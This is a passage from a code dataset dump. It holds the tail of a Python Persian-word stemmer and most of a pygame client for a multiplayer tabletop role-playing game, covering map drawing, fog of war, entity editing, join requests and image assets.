getStemmedNoun(word)\n    elif word in verbLexicon:  # past to present\n        if word in verbP2F:\n            return verbP2F[word]\n        else:\n            return word    # if present, itself\n\n    stemmed, flag = checkIfVerb(word)\n    if flag:\n        return stemmed\n\n    stemmed, flag = checkIfNounTinSlam(word)\n    if flag:\n        return stemmed\n\n    stemmed, flag = checkIfPrefixedVerb(word)\n    if flag:\n        return stemmed\n\n    # if notInNouns:\n    #     print(word)\n    return word\n\n\nloadFiles()\n\n# print(stem(\"می‌روم\"))\n# print(stem(\"گفتند\"))\n# print(stem(\"می‌خواهید\"))\n# print(stem(\"رفته است\"))\n# print(stem(\"شوند\"))\n# print(stem(\"درختان\"))\n# print(stem(\"کتابم\"))\n# print(stem(\"عادلانه‌ترین\"))\n# print(stem(\"جعبه‌ای\"))\n# print(stem(\"خانه‌هاهایمان\"))\n#\n# if \"خانه‌ها\" in nounLexicon:\n#     print(\"Why =|\")\n\n# print(stem(\"معتقد\"))\n# print(stem(\"بیشتر\"))\n# print(stem(\"بیشتر\"))\n# print(stem(\"بیشتر\"))\n# print(stem(\"بیشتر\"))\n# print(stem(\"بیشتر\"))\n# print(stem(\"است\"))\n# print(stem(\"وقت\"))\n# print(stem(\"کتب\"))\n# print(stem(\"مطالب\"))\n# print(stem(\"ارقام\"))\n# print(\"--------------------------\")\n# print(stem(\"داشتم‌می‌رفتم\"))\n# print(stem(\"نخواهم‌رفت\"))\n# print(stem(\"بروم\"))\n# print(stem(\"خواهد رفت\"))\n# print(stem(\"نخواهد رفت\"))\n# print(stem(\"رفتن\"))\n# print(stem(\"نرفت\"))\n# print(stem(\"برفت\"))\n# print(\"--------------------------\")\n# print(stem(\"کتابهایمان\"))\n# print(stem(\"پرندگان\"))\n# print(stem(\"کفتران\"))\n# print(stem(\"سگ ها\"))\n# print(stem(\"عالمان\"))\n# print(stem(\"علوم\"))\n# print(stem(\"روحانیون\"))\n# print(\"--------------------------\")\n# print(stem(\"برداشت\"))\n# print(stem(\"برداشته بود\"))\n# print(stem(\"برداشته است\"))\n# for item in verbLexicon:\n#     print(item)\n\n# list = []\n# for item in nounLexicon:\n# if item == \"وق\":\n#     continue  # (.,. )\n# list.append(item.strip())\n\n# list.append('کتب')\n\n# list = []\n# for item in verbLexicon:\n#     list.append(item.strip())\n\n# list.append(\"است\")\n# list.append(\"هست\")\n\n# with open('Resources/Stemmer/Modified/verb_lexicon.pickle', 'wb') as handle:\n#     pickle.dump(list, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# nounLexicon.append(\"امثال\")\n# nounLexicon.append(\"مثال\")\n# nounLexicon.append(\"اقدام\")\n# nounLexicon.append(\"چماقدار\")\n# nounLexicon.append(\"نماینده\")\n# nounLexicon.append(\"اصولگرا\")\n# nounLexicon.append(\"کتب\")\n\n# with open('Resources/Stemmer/Modified/noun_lexicon.pickle', 'wb') as handle:\n#     pickle.dump(nounLexicon, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# with open('Resources/Stemmer/Modified/noun_lexicon.pickle', 'wb') as handle:\n#     pickle.dump(list, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# irregularNouns['امثال'] = 'مثال'\n# with open('Resources/Stemmer/Modified/irregular_nouns.pickle', 'wb') as handle:\n#     pickle.dump(irregularNouns, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# list = []\n# list.append({})\n# list.append({})\n#\n# for item in verbTenseMap[0]:\n#     list[0][item.strip()] = verbTenseMap[0][item.strip()]\n#\n# for item in verbTenseMap[1]:\n#     list[1][item.strip()] = verbTenseMap[1][item.strip()]\n#\n# with open('Resources/Stemmer/Modified/verb_tense_map.pickle', 'wb') as handle:\n#     pickle.dump(list, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# print(verbTenseMap[0]['گذشت'])\n","repo_name":"ArmaghanSarvar/Parsearch-Search-Engine","sub_path":"Stemmer.py","file_name":"Stemmer.py","file_ext":"py","file_size_in_byte":20142,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"30466171050","text":"\"\"\"\nIn this file, the following requirements are covered:\nREQ-3.2.3.1: Engine Reads File\nREQ-3.2.3.2: GM Spawn Entity\nREQ-3.2.3.3: GM Edit Active Entity\nREQ-3.2.3.4: Move Entity\nREQ-3.2.3.5: Request Action\nREQ-3.2.3.6: Approve Action\nREQ-3.2.3.7: Display Map\nREQ-3.2.3.9: Fog of War\nREQ-3.2.3.10: Import visual assets\nREQ-3.4.3.3: Join Request Approval\nREQ-3.4.3.4: Join Request Rejection\nREQ-3.4.3.5: Player Removal\nREQ-3.5.3.1: Chat Box\nREQ-3.5.3.2: Chat Input\nREQ-3.5.3.3: Chat Submission\nREQ-3.5.3.4: Scrollable Chat History\n\"\"\"\n\nimport pygame, sys, random, os, math, re, pyautogui, time, platform, subprocess, clipboard, jsonpickle\nimport text_manipulation.ptext as ptext\nimport base64, PIL.Image\nfrom pygame.locals import *\nfrom game_engine.map import Map\nfrom client import Client\nfrom shutil import copyfile\nsys.path.append('rule_interpreter/')\nsys.path.append('rule_interpreter/models')\nfrom game_engine.game import Game\nfrom game_engine.rule_enactor import RuleEnactor\nfrom rule_interpreter.models.validator import _Validator\nfrom rule_interpreter.models.attribute import Attribute\nfrom rule_interpreter.models.entity import Entity\nfrom rule_interpreter.models.action import Action\nfrom rule_interpreter.models.point import Point\nfrom play_game import async_send\nimport shared_var\n\n# sources for examples:\n# http://usingpython.com/pygame-tilemaps/\n# http://usingpython.com/list-comprehension/\n\nclass GameView:\n\n    def __init__(self):\n        self.images = {}\n        self.load_pictures()\n        return\n\n    def leave_game(self, full_exit=True):\n        if GM_STATUS:\n            print(\"trying to end game\")\n            end_game_message = \"GM {} ended the game session\".format(client.user.get_username())\n            game.append_transcript(end_game_message)\n            client.update_game(game.get_uniqueID(), jsonpickle.encode(game))\n            async_send(['chat', [client_id, end_game_message]])\n            async_send(['end_game', [client_id, game.get_uniqueID()]])\n        else:\n            print(\"player leaving game\")\n            leave_game_message = \"{} left the game\".format(client.user.get_username())\n            game.append_transcript(leave_game_message)\n            async_send(['chat', [client_id, leave_game_message]])\n            async_send(['leave_game', [client_id]])\n        if full_exit:\n            pygame.quit()\n            sys.exit()\n        return\n\n    def send_update_to_all(self):\n        client.update_game(game.get_uniqueID(), jsonpickle.encode(game))\n        async_send([\"update_game\", [client_id, game.get_uniqueID()]])       \n        return\n\n    def offset_blit(self,x,y):\n        return (x+MAPOFFSET[0],y+MAPOFFSET[1])\n\n    def which_tile(self,mousepos):\n        x = math.ceil(mousepos[1]/game.map.tilesize)-1\n        y = math.ceil(mousepos[0]/game.map.tilesize)-1\n        if y in range(0,game.map.width) and x in range(0,game.map.height):\n            return x,y\n        return -1,-1\n\n    def check_entity_fit(self, width, height, x, y, entity):\n        # in the case of moving where entity already is\n        if str((x, y)) in game.ruleset_copy.all_created_entities:\n            if game.ruleset_copy.all_created_entities[str((x, y))] == entity: # is it itself\n                return True\n            else: # another entity is there\n                return False\n\n        if (y + width) > game.map.width or (x + height) > game.map.height:\n            return False\n\n        for i in range(0,width):\n            for j in range(0,height):\n                en = self.which_entity(x+j, y+i)\n                if en is not None and en != entity:\n                    return False\n        return True\n\n    def tile_location(self,size):\n        return size[1]*game.map.tilesize, size[0]*game.map.tilesize\n\n    def make_popup(self,x, y, entity):\n        global OLDSURF\n\n        # draw drop down\n        options = [\"Move\"] # mandatory option to have\n        options += entity.get_action_names()\n        textSurf = []\n        width = 0\n        height = 0\n        OLDSURF = DISPLAYSURF.copy()\n\n        self.draw_entity_box(entity.x, entity.y, width = entity.size.get_width(), height = entity.size.get_height())\n         # newsize = img1.get_width()+4, img1.get_height()+4\n        for i in options:\n            textSurf.append(FONTTYPE.render(i, 1, (255, 255, 255)))\n            local_width, height = FONTTYPE.size(i) \n            if (local_width>width):\n                width = local_width\n        popupSurf = pygame.Surface((width+4,height*len(options)))\n        DISPLAYSURF.blit(popupSurf, self.offset_blit(x,y))    \n        for i in range(len(textSurf)):\n            DISPLAYSURF.blit(textSurf[i], self.offset_blit(x+2,y+(height*i)))\n\n        # entity information to display on the left\n        ptext.draw(str(entity), (5, 100), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = 200)\n\n        return (popupSurf.get_width(), popupSurf.get_height()), (x,y)\n\n    def remove_previous_popup(self):\n        DISPLAYSURF.blit(OLDSURF, (0,0))\n\n    def load_pictures_from_database(self, asset_name=None):\n        # Grab all pictures located in database and put into tmp folder\n        if not os.path.exists(\"./tmp/\"):\n            os.makedirs('./tmp')\n        direc = os.getcwd() + \"/tmp/\"\n        arr = []\n        if asset_name:\n            arr = client.get_assets(game.GM.get_username(), [asset_name])    \n        else:\n            arr = client.get_assets(game.GM.get_username(), game.get_assets())\n\n        try:\n            for asset in arr:\n                # print(asset[0])\n                # print(asset[1])\n                decoded_image = base64.b64decode(asset[1][0])        \n                with open(direc+asset[0], 'wb') as recreated:\n                    recreated.write(bytearray(decoded_image))\n        except Exception as e:\n            print(\"ITEM WAS NOT PROPERLY GRABBED\")\n            print(e)\n\n        self.load_pictures()\n        return \n\n    def load_pictures(self):\n        # Grab all pictures located in the textures directory and temporary folder\n        direc = os.getcwd() + \"/images/textures/\"\n        pictures = [i for i in os.listdir(direc)]\n        for p in pictures:\n            if p.endswith(\".png\") or p.endswith(\".jpg\") or p.endswith(\".jpeg\"):\n                self.images[p] = pygame.image.load(\"images/textures/\"+p)\n\n        if os.path.exists(\"./tmp/\"):\n            direc = os.getcwd() + \"/tmp/\"\n            pictures = [i for i in os.listdir(direc)]\n            for p in pictures:\n                if p.endswith(\".png\") or p.endswith(\".jpg\") or p.endswith(\".jpeg\"):\n                    self.images[p] = pygame.image.load(\"tmp/\"+p)\n        return \n\n    def which_entity(self, x, y):\n        for key, e in game.ruleset_copy.all_created_entities.items():\n            if x in range(e.x,e.x+e.size.get_width()) and y in range(e.y,e.y+e.size.get_height()):\n                return e\n        return None\n\n    def draw_entity_box(self, x, y, color = (255, 0, 0), width = 1, height = 1):    \n        left, top = self.tile_location((x, y))\n        left, top = self.offset_blit(left, top)\n        pygame.draw.lines(DISPLAYSURF, color, True, [(left, top), (left+game.map.tilesize*width, top), (left+game.map.tilesize*width, top+game.map.tilesize*height), (left, top+game.map.tilesize*height)], 3)\n        return \n\n    def action_sequence(self, result):\n        self.clear_bottom_info()\n        self.display_message(\"Please select a(n) \" + result + \" from the map!\")\n        pygame.display.flip()\n        # pick which one from the map\n\n        RUNNING = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    mousepos = pygame.mouse.get_pos()\n                    mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if x != -1 and y != -1:\n                        my_entity = GAMEVIEW.which_entity(x, y)\n                        if result == \"point\":\n                            return Point(x,y)\n                        elif my_entity is not None and my_entity.is_of_type(result):\n                            return my_entity\n        return\n\n    def blit_entire_map(self):\n        # create the entire background\n        for rw in range(game.map.height):\n            for cl in range(game.map.width):\n                self.blit_default(rw,cl)\n                \n        # put all the textures on the map\n        for key, texture in game.map.textures.items():\n            self.blit_texture(texture)\n\n        # put all the entities on the map\n        for location, entity in game.ruleset_copy.all_created_entities.items():\n            entity_image = pygame.transform.scale(self.images[entity.get_image_filename()], (entity.size.get_width()*game.map.tilesize,entity.size.get_height()*game.map.tilesize))\n            DISPLAYSURF.blit(entity_image, self.offset_blit(entity.y*game.map.tilesize, entity.x*game.map.tilesize))\n        \n        # blit fog of war overtop everything\n        if not GM_STATUS:\n            for rw in range(game.map.height):\n                for cl in range(game.map.width):\n                    if not game.map.fogOfWar[rw][cl]:\n                        DISPLAYSURF.blit(FOG_IMAGE, self.offset_blit(cl*game.map.tilesize, rw*game.map.tilesize))\n        return\n\n    # GM FUNCTIONS ------------------------------------------------------------------------------------------------\n    def join_request_popup(self):\n        print(\"IM IN THE JOIN REQUEST POPUP\")\n        OLDSURF = DISPLAYSURF.copy()\n        popup = pygame.image.load(\"images/menu/joinRequestPopup2.png\").convert_alpha()\n\n        join_request_timeout = 40\n        start = time.time()\n        running = True\n        while(time.time()-start < join_request_timeout and running):\n            DISPLAYSURF.blit(popup, (0,0))  \n            ptext.draw(\"{}\".format(shared_var.MESSAGE_CONTENT[0][1]), (610, 325), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=24, width = 100)\n            pygame.display.flip()\n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == KEYDOWN:   \n                    if event.key == K_y:\n                        # send the request yes\n                        player_name = shared_var.MESSAGE_CONTENT[0][1]\n                        PLAYER_LIST.append(player_name)\n                        game.append_transcript(\"player {} joined the game\".format(player_name))\n                        # shared_var.MESSAGE_CONTENT.append(game.get_uniqueID())\n                        async_send(['accept_join', shared_var.MESSAGE_CONTENT])\n                        running = False\n                    elif event.key == K_n:\n                        # send the request no\n                        async_send(['reject_join', shared_var.MESSAGE_CONTENT])\n                        running = False\n        if running:\n            # send the request no\n            async_send(['reject_join', shared_var.MESSAGE_CONTENT])\n        DISPLAYSURF.blit(OLDSURF, (0,0))\n        pygame.display.flip()\n        return\n\n    def gm_leaves_room_popup(self):\n        print(\"IM IN THE LEAVE ROOM POPUP\")\n        # popupSurf = pygame.Surface((200,200))\n        # popupSurf.fill(COLOR_BLACK)\n        # x = DISPLAYSIZE[0]/2-popupSurf.get_width()+MAPOFFSET[0]\n        # y = DISPLAYSIZE[1]/2-popupSurf.get_height()+MAPOFFSET[1]\n\n        # DISPLAYSURF.blit(popupSurf, (x,y))  \n        # ptext.draw(\"The GM left the room! Closing in 8seconds.\", (x+5,y+5), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = 200)\n        # pygame.display.update()\n\n        # time.sleep(5)\n\n        # join_request_timeout = 5\n        # start = time.time()\n        # while(time.time()-start < join_request_timeout):  \n        #     pass\n        shared_var.GM_LEAVES_FLAG = False\n        return\n\n    def action_request_popup(self):\n        global game\n        print(\"IM IN THE ACTION REQUEST POPUP\")\n        OLDSURF = DISPLAYSURF.copy()\n        popup = pygame.image.load(\"images/menu/actionRequestPopup.png\").convert_alpha()\n\n        join_request_timeout = 40\n        start = time.time()\n        running = True\n        print(shared_var.MESSAGE_CONTENT)\n        while(time.time()-start < join_request_timeout and running): \n            DISPLAYSURF.blit(popup, (0,0))  \n            ptext.draw(\"{}\".format(shared_var.MESSAGE_CONTENT[2]), (600, 300), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=24, width = 250)\n            ptext.draw(\"{}\".format(shared_var.MESSAGE_CONTENT[3]), (505, 365), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=20, width = 300)\n            pygame.display.flip() \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == KEYDOWN:   \n                    if event.key == K_y:\n                        gameObj = client.get_game_from_room_number(game.get_uniqueID())\n                        game = jsonpickle.decode(gameObj[0][0])\n                        game.append_transcript(\"player {} did an action: {}\".format(shared_var.MESSAGE_CONTENT[2], shared_var.MESSAGE_CONTENT[3]))\n                        running = False\n                    elif event.key == K_n:\n                        # send the request no\n                        game.append_transcript(\"player {} action rejected\".format(shared_var.MESSAGE_CONTENT[2]))\n                        running = False\n        \n        DISPLAYSURF.blit(OLDSURF, (0,0))\n        # whether timed out or the GM responded, send the GM's game to everyone\n        self.blit_entire_map()\n        self.send_update_to_all()\n        pygame.display.flip()\n        return\n\n    def toggle_fog(self):\n        self.clear_bottom_info()\n        self.display_message(\"_Toggle Fog Mode_\\n\\nA blue box around a tile indicates it is hidden by the Fog of War.\\nPress ESC to exit this mode.\")\n\n        RUNNING = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    mousepos = pygame.mouse.get_pos()\n                    mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if x != -1 or y != -1:\n                        # draw rectangle surrounding the actual box\n                        if game.map.fogOfWar[x][y]:\n                            game.map.fogOfWar[x][y] = False\n                            color = (0,0,255)\n                        else: \n                            game.map.fogOfWar[x][y] = True\n                            color = (255,255,255)\n                        self.draw_entity_box(x,y,color)\n                        # test if fog of war works in the right location\n                        # self.update_fog()\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        return\n            pygame.display.flip()\n        return\n\n    def add_texture(self):\n        display_string = \"*Add Texture Mode*\\nPress ESC to exit this mode.\\n\\nSelect a texture:\\n\"\n        display_string += self._images_string()\n        \n        self.clear_bottom_info()\n        self.display_message(display_string, \"*\")\n\n        add_texture_box = InputBox(MAPOFFSET[0] + 200, game.map.tilesize*game.map.height, game.map.tilesize*game.map.width - 200, 32, DISPLAYSURF)\n\n        RUNNING = True\n        text = \"\"\n        selected_image = None\n        blit_input = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    mousepos = pygame.mouse.get_pos()\n                    mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if selected_image is not None and x != -1 and y != -1:\n                        texture = Map.Texture(x,y,1,1,selected_image)\n                        game.map.textures[(x,y)] = texture\n                        if self.which_entity(x,y) is None:\n                            self.blit_default(x,y)\n                            self.blit_texture(texture)\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        if selected_image is not None:\n                            self.clear_bottom_info()\n                            self.display_message(display_string, \"*\")\n                            blit_input = True\n                            selected_image = None\n                            event.key = K_RETURN\n                        else:\n                            self.clear_bottom_info()\n                            return\n                    elif event.key == K_RETURN:\n                        text = add_texture_box.text.rstrip()\n                        if text in self.images:\n                            self.clear_bottom_info()\n                            self.display_message(\"Please select tile you would like to place this texture\")    \n                            blit_input = False\n                            selected_image = text\n                if blit_input:\n                    add_texture_box.handle_event(event)    \n            if blit_input:\n                add_texture_box.wipe()\n                add_texture_box.draw()\n            pygame.display.flip()            \n\n        return\n\n    def _x_coordinate(self, surf, tpos):\n        return tpos[0]+surf.get_width()+10\n\n    def _y_coordinate(self, surf, tpos):\n        return tpos[1]+surf.get_height()+10\n\n    def _input_box_width(self, surf):\n        return game.map.tilesize*game.map.width - surf.get_width() - 30\n\n    def _create_entity_help(self, reblit, error=\"\"):\n        self.clear_bottom_info()\n        buf, tpos = self.display_message(\"_Create New Entity_ \")\n\n        if len(error)>0:\n            ptext.draw(error, (tpos[0] + buf.get_width() + 10, tpos[1]), sysfontname=\"arial\", color=COLOR_RED, fontsize=FONTSIZE)\n\n        surf_name, tpos_name = ptext.draw(\"Name: \", (tpos[0], self._y_coordinate(buf, tpos)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        surf_type, tpos_type = ptext.draw(\"Type: \", (tpos[0], self._y_coordinate(surf_name, tpos_name)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        surf_image, tpos_image = ptext.draw(\"Image: \", (tpos[0], self._y_coordinate(surf_type, tpos_type)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        if not reblit:\n            input_name = InputBox(self._x_coordinate(surf_name, tpos_name), tpos_name[1]-5, self._input_box_width(surf_name), 32, DISPLAYSURF)\n            input_type = InputBox(self._x_coordinate(surf_type, tpos_type), tpos_type[1]-5, self._input_box_width(surf_type), 32, DISPLAYSURF)\n            input_image_filename = InputBox(self._x_coordinate(surf_image, tpos_image), tpos_image[1]-5, self._input_box_width(surf_image), 32, DISPLAYSURF)\n        else:\n            input_name = None\n            input_type = None\n            input_image_filename = None\n        \n        display_string = \"Type Options: \" + \", \".join(CONCRETE_TYPES_OF_ENTITIES) + \"\\nImage Options: \"\n        display_string += self._images_string()\n        ptext.draw(display_string, (tpos[0], self._y_coordinate(surf_image, tpos_image)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE,  width = game.map.width*game.map.tilesize)\n        \n        return input_name, input_type, input_image_filename\n\n    def create_new_entity(self):\n        \n        input_name, input_type, input_image_filename = self._create_entity_help(False)\n        \n        RUNNING = True\n        selected_name = \"\"\n        selected_type = \"\"\n        selected_image_filename = \"\"\n        blit_input = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    mousepos = pygame.mouse.get_pos()\n                    mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if len(selected_type)>0 and x != -1 and y != -1 and self.which_entity(x,y) is None:\n                        entity = game.ruleset_copy.add_new_entity(selected_type, selected_name, x, y)\n                        if GAMEVIEW.check_entity_fit(entity.size.get_width(), entity.size.get_height(), x, y, entity):\n                            entity.set_image_filename(selected_image_filename)\n                            texture_image = pygame.transform.scale(self.images[entity.get_image_filename()], (entity.size.get_width()*game.map.tilesize,entity.size.get_height()*game.map.tilesize))\n                            DISPLAYSURF.blit(texture_image, GAMEVIEW.offset_blit(entity.y*game.map.tilesize, entity.x*game.map.tilesize))\n                        else:\n                            game.ruleset_copy.remove_entity(entity)\n                        selected_name = \"\"\n                        selected_type = \"\"\n                        selected_image_filename = \"\"\n                        input_name.text = \"\"\n                        input_type.text = \"\"\n                        input_image_filename.text = \"\"\n                        # game.entities.append(entity)\n                        blit_input = True\n                        self._create_entity_help(True)\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        return\n                    elif event.key == K_RETURN:\n                        selected_name = input_name.text.rstrip()\n                        selected_type = input_type.text.rstrip()\n                        selected_image_filename = input_image_filename.text.rstrip()\n                        if selected_image_filename not in self.images:\n                            selected_image_filename = \"default-image.png\"\n                        if selected_type in CONCRETE_TYPES_OF_ENTITIES:\n                            blit_input = False\n                            self.clear_bottom_info()\n                            self.display_message(\"Please select tile you would like to place this \" + selected_name)\n                        else:\n                            input_name.text = \"\"\n                            input_type.text = \"\"\n                            input_image_filename.text = \"\"\n                            self._create_entity_help(True, \"WRONG TYPE\")\n                if blit_input:\n                    input_name.handle_event(event)\n                    input_type.handle_event(event)\n                    input_image_filename.handle_event(event)\n            if blit_input:\n                input_name.wipe()\n                input_name.draw()\n                input_type.wipe()\n                input_type.draw()\n                input_image_filename.wipe()\n                input_image_filename.draw()\n            pygame.display.flip()  \n\n        return\n\n    def edit_entity(self):\n        self.clear_bottom_info()\n        buf, tpos = self.display_message(\"_Edit Entity_\\nSelect an entity, then enter the name of an attribute and its new value, then press ENTER.\\nPress ESC to exit this mode.\")\n\n        surf_name, tpos_name = ptext.draw(\"Name: \", (tpos[0], self._y_coordinate(buf, tpos)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        surf_value, tpos_value = ptext.draw(\"Value: \", (tpos[0], self._y_coordinate(surf_name, tpos_name)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        input_name = InputBox(self._x_coordinate(surf_name, tpos_name), tpos_name[1]-5, self._input_box_width(surf_name), 32, DISPLAYSURF)\n        input_value = InputBox(self._x_coordinate(surf_value, tpos_value), tpos_value[1]-5, self._input_box_width(surf_value), 32, DISPLAYSURF)\n\n        RUNNING = True\n        saved_entity = None\n        attributes = {}\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    if saved_entity is None:\n                        mousepos = pygame.mouse.get_pos()\n                        mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                        print(mousepos)\n                        x, y = GAMEVIEW.which_tile(mousepos)\n                        if x != -1 and y != -1:\n                            my_entity = GAMEVIEW.which_entity(x, y)\n                            if my_entity is not None:\n                                # draw rectangle surrounding the actual box\n                                saved_entity = my_entity\n                                self.draw_entity_box(saved_entity.x,saved_entity.y, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                                self.clear_bottom_info(tpos[0], self._y_coordinate(surf_value, tpos_value))\n                                attributes = []\n                                for attr in my_entity.get_attributes():\n                                    attributes.append(attr.get_attribute_name())\n                                display_string = \"Attribute Option Name: \" + \", \".join(attributes)\n                                surf_attr, tpos_attr = ptext.draw(display_string, (tpos[0], self._y_coordinate(surf_value, tpos_value)), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        if saved_entity:\n                            self.draw_entity_box(saved_entity.x, saved_entity.y, COLOR_WHITE, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                        return\n                    elif event.key == K_RETURN:\n                        # if there is an entity and its attribute given exists\n                        modifying_attr = input_name.text.strip()\n                        if saved_entity is not None:\n                            if modifying_attr in attributes:\n                                new_value = input_value.text.strip()\n                                type_of_attr = saved_entity.get_attribute(modifying_attr).get_attribute_type()\n                                if type_of_attr == bool:\n                                    if new_value.lower() == \"true\":\n                                        game.ruleset_copy.modify_attribute(saved_entity, modifying_attr, True)\n                                    elif new_value.lower() == \"false\":\n                                        game.ruleset_copy.modify_attribute(saved_entity, modifying_attr, False)\n                                elif type_of_attr == float:\n                                    try:\n                                        game.ruleset_copy.modify_attribute(saved_entity, modifying_attr, float(new_value))\n                                    except Exception as e:\n                                        pass\n                                elif type_of_attr == str:\n                                    game.ruleset_copy.modify_attribute(saved_entity, modifying_attr, new_value)\n                            self.draw_entity_box(saved_entity.x, saved_entity.y, COLOR_WHITE, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                        saved_entity = None\n                        input_name.text = \"\"\n                        input_value.text = \"\"\n                        # wipe the attr info\n                        self.clear_bottom_info(tpos[0], self._y_coordinate(surf_value, tpos_value))\n                input_name.handle_event(event)\n                input_value.handle_event(event)\n            input_name.wipe()\n            input_name.draw()\n            input_value.wipe()\n            input_value.draw()\n            pygame.display.flip()\n\n        return\n\n\n    def delete_entity(self):\n        self.clear_bottom_info()\n        self.display_message(\"_Delete Entity_\\nTo delete an entity please select a tile.\\nOnce it is selected RED, press ENTER as a confirmation you wish to delete it.\\nOtherwise, press ESC or another spot on the map to deselect it.\")\n        # pick which one from the map and delete it\n\n        RUNNING = True\n        saved_entity = None\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    mousepos = pygame.mouse.get_pos()\n                    mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if x != -1 and y != -1:\n                        my_entity = GAMEVIEW.which_entity(x, y)\n                        if saved_entity is not None:\n                            self.draw_entity_box(saved_entity.x, saved_entity.y, COLOR_WHITE, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                            saved_entity = None\n                        if my_entity is not None:\n                            # draw rectangle surrounding the actual box\n                            saved_entity = my_entity\n                            self.draw_entity_box(saved_entity.x,saved_entity.y, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        if saved_entity is not None:\n                            self.draw_entity_box(saved_entity.x, saved_entity.y, COLOR_WHITE, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                            saved_entity = None\n                        else:\n                            self.clear_bottom_info()\n                            return\n                    elif event.key == K_RETURN:\n                        if saved_entity is not None:\n                            game.ruleset_copy.remove_entity(saved_entity)\n                            # remove old image and replace with generic block, then cover with texture if there are any       \n                            for i in range(0,saved_entity.size.get_width()):\n                                for j in range(0,saved_entity.size.get_height()):\n                                    if str((saved_entity.x+j, saved_entity.y+i)) in game.map.textures:\n                                        self.blit_texture(game.map.textures[str((saved_entity.x+j, saved_entity.y+i))])\n                                    else:\n                                        self.blit_default((saved_entity.x+j), (saved_entity.y+i))\n                            self.draw_entity_box(saved_entity.x, saved_entity.y, COLOR_WHITE, width = saved_entity.size.get_width(), height = saved_entity.size.get_height())\n                            saved_entity = None\n            pygame.display.flip()\n        return\n\n    def add_asset(self):\n        self.clear_bottom_info()\n        general_message = \"_Add Asset Mode_\\nEnter in the path to an image.\\nRight click the input box to paste a file name path.\\nPress ESC to exit this mode.\"\n        self.display_message(general_message)\n        if not os.path.exists(\"./tmp/\"):\n            os.makedirs('./tmp')\n\n        add_asset_box = InputBox(MAPOFFSET[0] + 300, game.map.tilesize*game.map.height, game.map.tilesize*game.map.width - 300, 32, DISPLAYSURF)\n\n        RUNNING = True\n        text = \"\"\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    if event.button == 3:\n                        add_asset_box.text = clipboard.paste()\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        return\n                    elif event.key == K_RETURN:\n                        text = add_asset_box.text.rstrip()\n                        if os.path.isfile(text):\n                            if text.split(\".\")[-1] not in [\"png\", \"jpg\", \"jpeg\"]:\n                                self.clear_bottom_info()\n                                self.display_message(\"_FILE IS NOT AN IMAGE_\\n\"+general_message)\n                            else:\n                                if platform.system() == \"Windows\":\n                                    filename = text.split(\"\\\\\")[-1]\n                                else:\n                                    